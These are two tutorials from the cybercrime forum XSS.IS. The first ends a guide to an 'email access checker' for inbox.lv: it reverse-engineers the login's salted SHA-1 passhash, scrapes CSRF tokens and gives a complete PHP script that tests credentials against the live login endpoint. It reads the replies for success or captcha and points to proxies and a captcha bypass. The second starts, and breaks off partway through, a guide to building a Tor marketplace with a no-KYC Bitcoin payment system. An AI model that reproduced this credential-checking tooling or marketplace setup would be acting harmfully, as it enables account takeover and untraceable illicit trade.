Press "Next" to start a temporary project and "Start Burp" to run Burp with default settings.
Go to the "Proxy" tab and click "Open browser."

https://imgur.com/OdV5xlY

Browse to our target's page, and enable intercept by clicking on "Intercept is off." Now, enter your username and password, and press login.

https://imgur.com/k1u0AvT

Our login request will get intercepted by Burp Suite, and we can analyze it now.

https://imgur.com/lczZQf8

As we can see, we are sending a POST request, and our login is passed as the "imapuser" parameter's value.

But where is our password? If we look carefully, the "pass" parameter has no value, but we have a "passhash" parameter which contains an SHA-1 hash, as well as a "salt" parameter, which is most likely related to the "passhash." So, we can't simply change the values we are sending in our request, as we don't know how our password got converted to the passhash yet.
Let's turn off intercept for now and open Developer Tools (F12), click on "Sources," and perform our login process once more. Since we saw the passhash before the request was sent to the server, we know it gets generated client- side, so let's look at the .js files.

https://imgur.com/S0vS1Zj

If we go to login > web/assets/login/src/js > pages/login > index.js, we can see the setupSalt function on line 56. As we can see, the passhash gets generated by adding salt to the SHA-1 of the password and running SHA-1 on the result once more. As we already saw before, "pass" gets set to ' '.
Now that we've figured out how passhash gets generated, we have another problem – we don't know yet where the salt comes from.
We can see let $salt = $('input[name=salt]', $form) on line 58, but that doesn't give much information. But if we look at line 60, we can see that the username gets obtained similarly to salt. userName = $('input[name=imapuser]', $form).val().toLowerCase().trim();
Since the only place where we entered the username was on the login page, let's go back to it and check the source using inspect element.

https://imgur.com/DIYUaWI

And what do we see there? Multiple hidden inputs, and one of them is the salt! It gets generated together with HTML.
Now, let's implement the passhash generation ourselves so we can verify that it is the correct way it gets generated. You can use any programming language, but for this checker, I will be using PHP, since I had problems with Python in later stages of developing the checker.

PHP:Copy to clipboard

function genPassHash($salt, $password) {
    // Calculate the SHA-1 hash of the password
    $password_hash = sha1($password);

    // Concatenate the salt and password hash
    $salted_password_hash = $salt . $password_hash;

    // Calculate the SHA-1 hash of the salted password hash
    $passhash = sha1($salted_password_hash);

    return $passhash;
}

This is how I implemented the passhash generation. Now, let's verify that it is correct. Refresh the page, grab our salt value, turn on intercept, and make another request. Now, let's run our passhash generator and check the results.

https://imgur.com/SeOb8jW

(https://imgur.com/ZYe1IGS, limit of images in 1 post = 10)
As we can see, our passhash is equal to the one that gets sent in request.
Step 2: Retrieve Values Needed for the Proper Request

What now? Can we just write a script that sends a request with a changed passhash and username? Well, almost. Looking ahead, we will have to find a way to retrieve a valid CSRF token, cookies, as well as the salt itself since a new one gets generated after the request.

Open our terminal and run sudo apt-get install php-xml, which will be needed for our script. Our code for retrieving salt and token will look like this:

PHP:Copy to clipboard

function scrapeSaltAndToken() {
    // Replace with the URL of the page you want to scrape
    $url = 'https://www.inbox.lv';

    // Initialize cURL session
    $ch = curl_init();

    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Send an HTTP GET request to the URL
    $response = curl_exec($ch);

    // Check if the request was successful
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
        exit;
    }

    // Create a DOMDocument object to parse the HTML content
    $dom = new DOMDocument();
    @$dom->loadHTML($response); // Suppress warnings about poorly formed HTML

    // Create a DOMXPath object to query the DOM
    $xpath = new DOMXPath($dom);

    // Find the "salt" and "_token" input fields by their name attributes
    $saltInput = $xpath->query('//input[@name="salt"]')->item(0);
    $tokenInput = $xpath->query('//input[@name="_token"]')->item(0);

    // Check if the "salt" and "_token" input fields were found
    if ($saltInput && $tokenInput) {
        // Get the values of the "salt" and "_token" fields
        $salt = $saltInput->getAttribute('value');
        $token = $tokenInput->getAttribute('value');
        return [$salt, $token];
    } else {
        echo 'Salt or token input field not found on the page.' . PHP_EOL;
        exit;
    }
}

Step 3: Using Retrieved Values to Send the Request

Now that we have the needed values for our request, let's see how we can use them properly. For that, we can intercept the request using Burp Suite once more, then by right-clicking, select "Copy as curl command (bash)". Install curl with sudo apt-get install curl, and let's try running it. (https://imgur.com/5uMp2od, image limit in 1 post = 10)
The request worked, but since the credentials are wrong, the authorization failed. Now, let's convert the curl command to PHP code. I'll use curlconverter for that. (https://imgur.com/9daUFKK, limit of images in 1 post = 10)
After testing, I found out that we can omit all headers except User-Agent, and the only value needed in the cookie is the csrf_double_submit (curl_setopt($ch, CURLOPT_COOKIE, "csrf_double_submit=$token;"); )
Now, putting all the code together and refactoring a bit, I got this:

PHP:Copy to clipboard

<?php

// Function to scrape salt and token
function scrapeSaltAndToken() {
    // Replace with the URL of the page you want to scrape
    $url = 'https://www.inbox.lv';

    // Initialize cURL session
    $ch = curl_init();

    // Set cURL options
    curl_setopt($ch, CURLOPT_URL, $url);
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);

    // Send an HTTP GET request to the URL
    $response = curl_exec($ch);

    // Check if the request was successful
    if (curl_errno($ch)) {
        echo 'cURL error: ' . curl_error($ch);
        exit;
    }

    // Create a DOMDocument object to parse the HTML content
    $dom = new DOMDocument();
    @$dom->loadHTML($response); // Suppress warnings about poorly formed HTML

    // Create a DOMXPath object to query the DOM
    $xpath = new DOMXPath($dom);

    // Find the "salt" and "_token" input fields by their name attributes
    $saltInput = $xpath->query('//input[@name="salt"]')->item(0);
    $tokenInput = $xpath->query('//input[@name="_token"]')->item(0);

    // Check if the "salt" and "_token" input fields were found
    if ($saltInput && $tokenInput) {
        // Get the values of the "salt" and "_token" fields
        $salt = $saltInput->getAttribute('value');
        $token = $tokenInput->getAttribute('value');
        return [$salt, $token];
    } else {
        echo 'Salt or token input field not found on the page.' . PHP_EOL;
        exit;
    }
}

// Function to generate password hash
function genPassHash($salt, $password) {
    // Calculate the SHA-1 hash of the password
    $password_hash = sha1($password);

    // Concatenate the salt and password hash
    $salted_password_hash = $salt . $password_hash;

    // Calculate the SHA-1 hash of the salted password hash
    $passhash = sha1($salted_password_hash);

    return $passhash;
}

// Scrape salt and token
list($salt, $token) = scrapeSaltAndToken();

$password = 'aa';
$username = 'aa';
// Generate password hash
$passhash = genPassHash($salt, $password);

// Initialize cURL session for login
$ch = curl_init();

// Set cURL options for login request
curl_setopt($ch, CURLOPT_URL, 'https://login.inbox.lv/login/login');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.5938.63 Safari/537.36',
]);
curl_setopt($ch, CURLOPT_COOKIE, "csrf_double_submit=$token;");
curl_setopt($ch, CURLOPT_POSTFIELDS, "_token=$token&mailplus=0&language=lv&passhash=$passhash&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&redirect_vars=&salt=$salt&imapuser=$username&pass=");
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);

// Execute the login request
$response = curl_exec($ch);

// Check for errors
if ($response === false) {
    echo 'cURL error: ' . curl_error($ch);
} else {
    echo 'Response data: ' . $response;
}

// Close cURL session
curl_close($ch);

Let's create a valid user and test it. (https://imgur.com/a/b5buT27, limit of images in 1 post = 10)
As we can see, the login was successful. There are 3 types of responses we can get:

Spoiler: Response types

1. failed - Response data:

Redirecting to [https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826](https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&ts=1694822826) Redirecting to [https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https://www.inbox.lv/?actionID=imp_login_&ts=1694822826](https://www.inbox.lv/?actionID=imp_login_&reason=failed&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&ts=1694822826).

2. logged in, no captcha needed - Response data:

Redirecting to [https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586](https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586) Redirecting to [https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586](https://www.inbox.lv/?actionID=imp_login_&logged_in=1&language=lv&ts=1694822586).

3. captcha needed, but most likely valid (if we are using good proxy) - Response data:

Redirecting to /login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131 Redirecting to /login/captcha?captcha=on&redirect_url=https%3A%2F%2Fwww.inbox.lv%2F%3FactionID%3Dimp_login_&reason=failed&needs_only_captcha=on&ts=1694812131.

Thanks for reading part 1! In the second part, we will dive into how to bypass captcha and add other advanced functionality to our email access checker. Stay tuned!

Author - xanthopsia
For XSS.IS

TOR MARKETPLACE | LEARN WITH ME HOW TO CREATE YOUR TOR MARKETPLACE AND CREATE A CRYPTO PAYMENT SYSTEM WITHOUT KYC AND THIRD-PARTY APPS
ID: 67668b27b4103b69df375cff
Thread ID: 100770
Created: 2023-10-24T05:26:55+0000
Last Post: 2023-10-25T00:29:52+0000
Author: 0x43rypt0n
Prefix: Статья
Replies: 1 Views: 748

Written By: 0x43rypt0n
Source: https://www.xss.is

This thread is about Creating a TOR marketplace and Creating A standalone crypto payment system Without using Any third party apps or api and staying safe from getting banned by 3d party

orders.png

In the first place I will only focus on creating a standalone Bitcoin wallet using Electrum You can use Bitcoin Core but because of the space are required by Bitcoin Core about 7Gb and the high bandwidth so I decided to use Electrum They are the same and give us the ability to create the StandAlone Bitcoin wallet and both they support RPC so we can control the Wallet from any programming languages that support networking in this example i will use php because is the most popular scripting language for web developing and i use Curl to fetch the commands like Create a new bitcoin address for every User and every payment So every time a user create a payment or buy a product the system will generate a new address and initiate the RPC protocol
and use it from php and
In this tutorial will develop all the required futures to launch a successful marketplace place if you want to add new futures like adding new vendors or users delete or any other future you can use the same code I have added in this tutorial to add your futures
For example :
If you want to create a multi vendor system future you can copy the code of the future register new member and add a new user group to the system and make small modifications to the system

In this tutorial I will not focus too much on the design iam not a UI/UX designer so the design will be very simple you can create your Style and add it to the same php code will work fine

What is the Hack the required tools?
All The tools are used in this tutorial are completely free ,
We Need Linux distribution like Ubuntu , a web server you can use any like Apache or Nginx
Dont forget to install php-fpm and finally we need the Electrum you can download it from here and install it the installation instructions are available on the official Electrum site https://electrum.org/#download

What is the Hack required to start with me?
You do know how to read and write php basic and php object-oriented programming code this is all that is required from you If you dont know how to write php go to https://www.php.net/docs.php and read the basics of php then you can continue this tutorial , the electrum rpc commands will be explained you dont have to know anything about it also the mysqli instructions will be explained for newbies , a few cron commands will be added it also not required to be a Linux professional I will also explain it

How to test the script is money needed or real Bitcoin to test the transactions ?
No none of them are required. but how to test the script ? for testing the script We will use the Testnet Bitcoin network to send Bitcoin transactions and check if the script works fine and dont worry the same script and same configuration works fine for both the testnet network and the real Bitcoin network but you only need to change the port of the electrum network from testnet to real bitcoin network I will explain everything

What is a bitcoin testnet and how do create an electrum testnet wallet to test the script and transactions before deploying the script to the internet and how do you create a real electrum Bitcoin wallet?

The testnet is a test network for the bitcoin blockchain that normally is used for testing and it is an alternative to the real bitcoin network blockchain.
The testnet coins are not the same as real network coins and are distinct from actual real bitcoin
It does not have any real value so you can't use it to buy But for testing after testing is done you can use the real bitcoin to accept payments. The testnet network allows developers like us to test their applications before deploying them to a real network and to not lose any real money

How to create an electrum testnet and a real Electrum bitcoin wallet ?
This is very easy from your Linux terminal write the command :
This command will start the Electrum daemon
electrum daemon –testnet
This command will create a Testnet Electrum Wallet
electrum create –testnet
This command will load the created testnet wallet
electrum daemon load_wallet —testnet
So now we have prepared all the required to start our testnet network
How to create the real Bitcoin network for electrum ? the same as we did in testnet but this time will only remove the –testnet example:
This command will start the Electrum daemon
electrum daemon
This command will create a Testnet Electrum Wallet
electrum create
This command will load the created testnet wallet
electrum daemon load_wallet
As you can see we just removed the –testnet and now we have both running the Testnet Bitcoin network and the real Bitcoin network
Now we can use the bitcoin wallet But we cannot use it from the programming language for sure because we still have not configured the RPC to configure the RPC you can do this with these few commands

To configure the testnet first , Again from your linux terminal type these commands :

Set the username for testnet
electrum setconfig rpcuser "user" --testnet

Set password for testnet
electrum setconfig rpcpassword "1234" --testnet

Set rpcport for testnet
electrum setconfig rpcport 8888 --testnet

So we have set the port 8888 for the testnet and user , password no we can create the config for the rpc real bitcoin network and the port for the real bitcoin rpc is 7777

electrum setconfig rpcuser "realbitcoin"
electrum setconfig rpcpassword "realbitcoin123"
electrum setconfig rpcport 7777

Same as we did before just removing the –testnet

Let's test If the electrum is setup correctly and ready to accept RPC connections
We can check by any command I will try to check using the command getbalance but before we test the rpc we first need to test directly from the terminal by typing electrum getbalance –testnet
If you want to test the normal wallet not the testnet just remove the argument –testnet
The replay from the server should be 0 if you have no balance or if you have fresh newly installed electrum

:- Response

{
"confirmed": "0.06267299"
}

This is my testnet wallet balance in a few more seconds I will teach you how you can get a free test coin bitcoin without paying any $ just remember testnet coin can’t be used to pay bitcoin bills

Now we can confirm is ready to be used from the command line but it is ready to be used from RPC lets check using curl
curl --data-binary '{"jsonrpc":"2.0","id":"curltext","method":"getbalance","params":[]}' http://user:1234@127.0.0.1:8888

You can change the user and password also the port all can be changed to the settings that you entered will setting up the rpc

-: Server response
{"result": {"confirmed": "0.06267299"}, "id": "curltext", "jsonrpc": "2.0"}root@
The response is in json format so this will be easy to parse the result
Now we confirmed that everything is going well so we can step forward and start coding the market

Let's start .

After setting the electrum Crypto wallet now will add the required tables to the Database go to your phpmyadmin if you are on the localhost it should be on this path http://localhost/phpmyadmin create a new database I already created one and name it TorMarket remember if you are under windows and you are using wamp or xmpp server the default password for the phpmyadmin is Empty no password and the username is root

When you are done creating the database now Create tables to make to you more simple just use these sql queries

Crypto_payment_system

Products

Usergorups

users

After done now We need these 13 files php,css to build the Tor market

\-- root
|-- index.php
|-- register.php
|-- login.php
|-- logout.php
|-- checktransactions.php
|-- usercp.php
\-- includes
|-- index.php
\-- php
|-- index.php
|-- classes.php
|-- navbar.php
|-- db.sql.php
\-- style
|-- index.php
|-- main.css
\-- imgs

After creating the files and folders now will fill them with the HTML codes without the php codes and after this you can see the files are not finished when adding the php code will slice the code some codes and forms will be hidden for guests and will only show only for registered users and add new products will be available only for Administrators all this will be in the php now this is the html , css codes

main.css

CSS:Copy to clipboard

body
{
    background-color:#f6faf7;
    font-family:Arial;
}
#registerLoginTable
{
    margin-top:13%;
}
#registerLoginTable h1
{
    color:#f26722;
    font-weight:100;
}
#registerLoginTable table 
{
    text-align:left;
    border:1px dotted #f26722;
    padding:5px;
}
#registerLoginTable table th,td
{
   padding:5px;
   font-weight:100;
}
#registerLoginTable input
{
   border:1px solid #034956;
   border-radius:5px;
   padding:5px;
}
#registerLoginTable button
{
   padding:15px;
   font-weight:100;
   color:#f6faf7;
   background:#034956;
   cursor:pointer;
   border:0px;
   border-radius:5px;
}
.msgregistersuccess
{
    background:#e2f1f2;
    color:#034956 !important;
    font-weight:100;
    padding:5px;
    font-size:17px;
}
.msgregisterfaild
{
    background:#e2f1f2;
    color:#f26722;
    font-weight:100;
    padding:5px;
    font-size:17px;
}
#nav
{
    text-align:center;
}
#nav ul 
{
    list-style:none;
}
#nav ul li 
{
    display:inline;
    padding:20px;
}
#nav ul li a
{
    text-decoration:none;
    font-weight:light;
    font-size:1em;
    color:#034956 !important;
}
#nav ul li b a
{
    font-weight:bold;
    font-size:2em;
    color:#f26722 !important;
    padding:30px;
}
#Products ul
{
    list-style:none;
    float:left;
    margin-left:7%;
    margin-top:5%;
}
#Products ul li
{
    display:block;   
}
#Products ul li  img
{
    max-width:250px;
}
#Products ul li a
{
    text-decoration:none;
    font-weight:light;
    color:#034956;
    font-size:1.1em;
}
#display_product
{
    margin-top:5%;
}
#display_product ul 
{
    list-style-type: none;
    margin-left:30%;
}
#display_product ul li 
{
    text-align: left;
}
#display_product ul li b
{
    color:#034956;
}
#display_product ul li h3
{
    color:#f26722;
  
}
#display_product ul li img
{
    width:500px;
    max-width:500px;
}
#display_product ul li button
{
    background-color: #034956;
    color:#e2f1f2;
    border:0px;
    padding:15px;
    cursor:pointer;
}
.orders th
{
    border:1px solid #034956;
}   
#footer 
{
    clear:both;
    margin-top:11%;
    font-weight:100;
}
#footer  a
{
   text-decoration:none;
   color:#034956;
}

navbar.php

HTML:Copy to clipboard

<div id="nav">
    <ul>
        <li><b><a href="index.php" >Tor Market</a></b></li>
        <li><a href="index.php">Home</a></li>
            
        <li><a href="register.php">Register</a></li>
        <li><a href="login.php">Login</a></li>
        <li><a href="usercp.php?addproduct">Add Product</a></li>
        <li><a href="usercp.php?orders">Orders <span style="color:#f26722"> (0)</span></a></li>
        <li><a href="usercp.php?changepassword" >change password</a></li>
        <li><a href="logout.php">Logout</a></li>
    </ul>
</div>

Index.php

HTML:Copy to clipboard

<!DOCTYPE HTML>
<html lang="en">
    <head>  
          <title>Products</title>            
            <link rel="stylesheet" type="text/css" href="admin/includes/style/main.css" />
    </head>
<body>


<div id="nav">
        <ul>
            <li><b><a href="index.php" >Tor Market</a></b></li>
            <li><a href="index.php">Home</a></li>
            <li><a href="usercp.php?addproduct">Add Product</a></li>
            <li><a href="usercp.php?orders">Orders <span style="color:#f26722"> (0)</span></a></li>
            <li><a href="usercp.php?changepassword" >change password</a></li>
            <li><a href="logout.php">Logout</a></li>
        </ul>
</div>
  
  <center>

    <div id="Products">
        
    <ul> 
                    <li>
                        <a href="index.php?product_id="><img src="imgs/paypal.com"/></a>
                        <br/>
                        <a href="index.php?product_id="></a>
                        <a href="index.php?product_id="><span style="color:#f26722;">Price : 0.15</span></a><br/>
                    </li>
                </ul> 
    </div>
   </center> 
    
    
<br/><br/><div style="clear:both;"></div>
    <div id="footer" >
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

login.php

HTML:Copy to clipboard

<!DOCTYPE HTML>
<html lang="en">
    <head>
            <title>user login</title>
            <link rel="stylesheet" type="text/css" href="admin/includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>


    <div id="registerLoginTable"><center>
    <form action="login.php" method="post">
        <h1>Login</h1>
        <table cellpadding="0" cellspacing="0" border="0">
            <thead colspan="2">
            <tr><th colspan="2">
            </tr> </thead>
            <tbody>
                <tr><th>Username : </th><td><input type="text" name="username" required/></td></tr>
                <tr><th>Password : </th><td><input type="password" name="password" required/></td></tr>
            </tbody>
            <tfoot>
                <tr><td><button type="submit" name="login" >login</button></td> </tr>
            </tfoot>
        </table>
        </form>
    </center></div>
    <div id="footer">
        <center>
            <b>Coded by <a href="#">0x43rypt0n</a> </b>
        </center>
    </footer>
</body>
</html>

register.php

HTML:Copy to clipboard

<!DOCTYPE HTML>
<html lang="en">
    <head>
            <title>user register</title>
            <link rel="stylesheet" type="text/css" href="admin/includes/style/main.css?v=<?php echo time(); ?>" />
    </head>
<body>


    <div id="registerLoginTable"><center>
    <form action="register.php" method="post">
        <h1>Register</h1>
        <table cellpadding="0" cellspacing="0" border="0">
            <thead colspan="2">
            <tr><th colspan="2">

            </tr> </thead>
            <tbody>
                <tr><th>Username : </th><td><input type="text" name="username" required/></td></tr>
                <tr><th>Password : </th><td><input type="password" name="password" required/></td></tr>
                <tr><th>Confirm Password : </th><td><input type="password" name="password2" required/></td></tr>
            </tbody>
            <tfoot>
                <tr><td><button type="submit" name="register" >Register</button></td> </tr>
            </tfoot>
        </table>
        </form>
    </center></div>

</body>
</html>

usercp.php

HTML:Copy to clipboard

<!DOCTYPE HTML>
<html lang="en">
<head>
        <title>Home page </title>
        <link rel="stylesheet" type="text/css" href="admin/includes/style/main.css" />
</head>
<body>
        <div id="registerLoginTable"><center>
            <form action="usercp.php?addproduct" method="post" enctype="multipart/form-data">
                <h1>Product Details</h1>
                <table cellpadding="0" cellspacing="0" border="0">
                    <thead colspan="2">
                    <tr><th colspan="2">

                    </tr> </thead>
                    <tbody>
                    <tr><th>Product Name  : </th><td><input type="text" name="product_name" required/></td></tr>
                    <tr><th>Product Description  : </th><td><input type="text" name="product_desc" required/></td></tr>
                    <tr><th>Product Price In bitcoin : </th><td><input type="text" name="product_price" required/></td></tr>
                    <tr><th>Product Image : </th><td><input type="file" name="product_image" required/></td></tr>
            
                    </tbody>
                    <tfoot>
                        <tr><td><button type="submit" name="addproduct" >Add product</button></td> </tr>
                    </tfoot>
                </table>
                </form>
            </center></div>


<div id="registerLoginTable"><center>
<h1>Orders</h1>
<table cellpadding="0" cellspacing="0" border="0" class="orders">
    <thead colspan="2">
    <tbody>
        <tr>
            <th>Product Id</th>
            <th>Product Name</th>
            <th>Product Price </th>
            <th>Btc Address</th>
            <th>Payment Status</th>
        </tr>
        <?php $_products->getOrdersByUser();?>
    </tbody>
</table>
</center></div>
        



</body>
</html>

Now open your editor you can use any editor even notepad.exe but it is better to use ide I will suggest eclipse

Inside the db.sql.php define mysql connection data like host,user,pass,db
And create a new object from the mysqli class and pass the connection data check for the connection if it does not connect to the mysql server the exits with an error
On the top of the code, there is a if(!defined("FILE_ACCESS_PERMISSION"))
For now leave it as it will talk about it in the classes.php

PHP:Copy to clipboard

<?php
if(!defined("FILE_ACCESS_PERMISSION"))
{
    exit('Direct access to this file is not allowed ');
}


define("HOST","localhost");
define("DATABASE","tormarket");
define("DBUSER","root");
define("DBPASS","");

$conn = new mysqli(HOST,DBUSER,DBPASS,DATABASE);

if ($conn->connect_error) {
  exit("Connection failed: " . $conn->connect_error);
}
?>

For security reasons some of the php files should not get access directly from web browsers such as classes.php to disable the access to the direct access we have to check for the definition to do this will use the function Defined(“FILE_ACCESS_PERMISSION
”)
And if define is not available will exit(“”) the script
This will prevent anyone from accessing the file from the browser but this will also prevent us from including it in our php code so to fix this problem we have to define(“FILE_ACCESS_PERMISSION
”) in any php file will need to use or include the classes.php file
Open includes/php/classes.php make sure you write it on the top of the file before adding any include and after the session();

Now create a new class with the name secure This class is For securing the market files like who can add new products if the user logged in or Guest and who can pay the products if the user logged in

PHP:Copy to clipboard

if(!defined("FILE_ACCESS_PERMISSION"))
{
    exit('Direct access to this file is not allowed ');
}


class secure
{
    
    function __construct()
    {
        global $conn;
        $this->conn = $conn;
        if(isset($_SESSION['session']))
        {
            $this->session = $_SESSION['session'];
        }
      
    }
    function secureLoginRegisterPage()
    {
        if(isset($_SESSION['logedIn']) && $_SESSION['logedIn'] == true)
        {
            header("location: index.php");
        }
    }
    function SecureLogout()
    {
        if(!isset($_SESSION['logedIn']))
        {
            header("location: index.php");
        }
    }
    function SecurePages()
    {
        if(!isset($_SESSION['logedIn']))
        {
            header("location: login.php");
        }
    }
    function SecureAdminPages()
    {
        if($stmt = $this->conn->prepare("SELECT `usergroup` FROM `users` WHERE `session`=(?) "))
        {
            $stmt->bind_param('s',$this->session);
            $stmt->execute();
            $stmt->store_result();
            $stmt->bind_result($usergroup);
            $stmt->fetch();
            
            if($usergroup == "1") // administrator
            {
                return true;
            }
            else
            {
                return false;
            }
        }
    }
    function IsUserLogedIn()
    {
        if(isset($_SESSION['logedIn']) && $_SESSION['logedIn'] == true)
        {   
            
            if($stmt = $this->conn->prepare("SELECT * FROM `users` WHERE `session`=(?) "))
            {
                $secure_session = strip_tags($this->session);
                $stmt->bind_param('s',$secure_session);
                $stmt->execute();
                $stmt->store_result();
                
                if($stmt->num_rows > 0)
                {
                    return true;
                }
                else
                {
                    return false;
                }
            }
            else
            {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                return false;
            }
            
            // return true;
        }
        else
        {
            return false;
        }
    }

}

The first function constructor.
what is a constructor ? the constructor allows you to initialize class properties upon creation of the object. it's not a php tutorial but just in case you dont know php oop

Inside the function constructor we defined two variables global variable because the mysqli connection variable is outside the function we have defined it as global so we can use it inside the function and this global var should be defined inside every function but because we define it inside the constructor and store it in this->var so we can now use it any ware in any function inside the same class without needing to redefine it every time

Function secureLoginRegisterPage In this function we check if the user is logged in and the session is available and if the user tried to access the login or register page then we should directly redirect him to the Index.php th

Function SecureLogout In this function we again check the user status but this time we check if the user is not logged in and tried to access the logout.php we redirect him to the index.php

Keep in mind some php files can be accessed by Guests and users and some are only for registered users and some are only for admin like add product but the index.php which display all the available products in the market this page can be accessed from all type of users

Function SecureAdminPages
This function is for securing admin pages such as creating or adding new products so in case any user tries to access this page manually from the browser he will be redirected directly to index.php if the user is not in the admin groups the admin groups is number 1 and registered members usergoup number 2

Function IsUserLogedIn This function is very important and will be used in different ways in this project like navbar and adding products for the navbar if the user logged in then we can show the pages are visible only for logged in users like Orders , change password and logout and also will hide a pages are only visible to guest users like register and login

What the code is not like the other functions that we discussed there are a few changes and improvements added here like after checking if the user logged in then here we check if the existing session is available in the database or not and if the session is not available in the database then the user may try to hack the system so it returns false and the functions will not work
For processing these futures we use the function prepare from mysqli class this function is used to prepare sql statements to be executed the session is not passed directly to the function we use the function bind_param() to pass the session the s will change the question mark in the sql statement as an extra security you can add strip_tags Why its session? yes but when hackers try fuzzing the system they may also try to fuzz the session and they may try sql injection so for more security add strip_tags()

After binding the params execute the sql statement and finally store it so we can use mysql num rows to check for existing sessions if the num rows are equal to or less than Zero then the session does not exist if exists return false and the session is equal to 1 return true;

Now we have finished the first class lets create the class number 2

Creating a new class I name the class users inside this class will handle all the users actions like paying for products, registering and login

PHP:Copy to clipboard

class users
{
    
    public $user;
    public $pass;
    public $pass2;
    public $user_id;
    function __construct($user="",$pass="",$pass2="")  //default is disabled to be used in login
    {
        global $conn;
        $this->conn    =  $conn;
        $this->user    =  $user;
        $this->pass    =  $pass;
        $this->pass2   =  $pass2;
        $this->user_id;
        if(isset($_SESSION['session']))
        {
            $this->session = $_SESSION['session'];
        }
    }
    function Register()
    {
        if(empty($this->user) || empty($this->pass) || empty($this->pass2) )
        {
            echo "<h1 class=\"msgregisterfaild\">Please complete the fields  </h1></th>";
        }
        else
        {
            $this->user  = strip_tags($this->user);
            if($stmt = $this->conn->prepare('SELECT * FROM `users` WHERE `username` = (?)'))
            {
      
                $stmt->bind_param('s', $this->user);
                $stmt->execute();
                $stmt->store_result();
                if($stmt->num_rows  > 0)
                {
                    echo "<h1 class=\"msgregisterfaild\">Username already exist </h1>";
                }
                else
                {   
                    if($this->pass == $this->pass2)
                    {
                        
                        $this->pass  = password_hash($this->pass, PASSWORD_DEFAULT);
                        // $this->pass2 = password_hash($this->pass2, PASSWORD_DEFAULT);
                        
                        $_time      = date("h:i:s");
                        $_date      = date("20y-m-d");
                        $_time_date = $_date." ".$_time;
                        $_SESSION['logedIn'] = TRUE;
                        $session = $_SESSION['session'] = md5(rand(1000,9999));
                        if($stmt = $this->conn->prepare("INSERT INTO `users` ( `username`, `password`,`session`, `registerydate`, `lastonline`, `usergroup`) VALUES ( ?, ?, ?, ?, ?, ?)"))
                        {
                            $usergroup = '2';
                            $stmt->bind_param("ssssss", $this->user, $this->pass, $session , $_time_date,$_time_date,$usergroup);
                            $stmt->execute();
                            echo "<h1 class=\"msgregistersuccess\">Registration Success </h1>";
                            echo "<meta http-equiv=\"Refresh\" content=\"2; url='index.php'\" />";    
                            $stmt->close();
                        }
                        else
                        {
                            echo "<h1 class=\"msgregisterfaild\">Password and confirm password does not match</h1>";
                        }
                    }
                    else
                    {
                        echo "<h1 class=\"msgregisterfaild\">Password and confirm password does not match</h1>";
                    }
                }
            }
            else {
                echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
            }
        
        }
    }
    function Login()
    {
        $this->user  = strip_tags($this->user);
        if($stmt = $this->conn->prepare('SELECT `uid`,`username`,`password` FROM `users` WHERE `username` = (?)'))
        {
            $stmt->bind_param('s', $this->user);
            $stmt->execute();
            $stmt->store_result();
      
            if($stmt->num_rows > 0)
            {
            
                $stmt->bind_result($uid,$username,$password);
                $stmt->fetch();
                if (password_verify($this->pass, $password)) 
                {
                    $_SESSION['logedIn'] = TRUE;
                    $session = $_SESSION['session'] = md5(rand(1000,9999));
                    
                    if($dol = $this->conn->prepare("UPDATE `users` SET `session`='$session' WHERE `uid` = (?)") )
                    {
                        $dol->bind_param('s', $uid);
                        $dol->execute();
                        // $dol->store_result();
                        $dol->close();
                        echo "<h1 class=\"msgregistersuccess\">Login Success </h1>";
                        echo "<meta http-equiv=\"Refresh\" content=\"2; url='index.php'\" />";   
                        ?>
                        
                        <?php
           
                    }
                    else
                    {
                        echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
                    }
                } 
                else 
                {
                    echo "<h1 class=\"msgregisterfaild\">Incorrect username and/or password! </h1>";
                }
            } 
            else 
            {
                echo "<h1 class=\"msgregisterfaild\">Incorrect username and/or password! </h1>";
            }
            $stmt->close();
        }
        else
        {
            echo "<h1 class=\"msgregisterfaild\">".$this->conn->error."</h1>";
        }
    }
    function changepassword()
    {
        if(empty($this->pass) || empty($this->pass2) )
        {
            echo "<h1 class=\"msgregisterfaild\">Please complete the fields  </h1></th>";
        }
        else
        {
            if($stmt = $this->conn->prepare('SELECT `uid` FROM `users` WHERE `uid` = (?)'))
            {
                $this->user_id = $this->getUserId();
                $stmt->bind_param('s', $this->user_id);
                $stmt->execute();
                $stmt->store_result();
 
                 if($stmt->num_rows  > 0)
                 {
                    if($this->pass == $this->pass2)
                    {
                        $this->pass  = password_hash($this->pass, PASSWORD_DEFAULT);
                        if($squ = $this->conn->prepare("UPDATE `users` SET `password` = '$this->pass' WHERE `uid` = (?) "))
                        {
                            $squ->bind_param('s',$this->user_id );
                            $squ->execute();
                            echo "<h1 class=\"msgregistersuccess\">  Password updated successfully </h1>";
                            echo "<meta http-equiv=\"Refresh\" content=\"2; url='index.php'\" />";    
                            $stmt->close();
                        }else
                        {
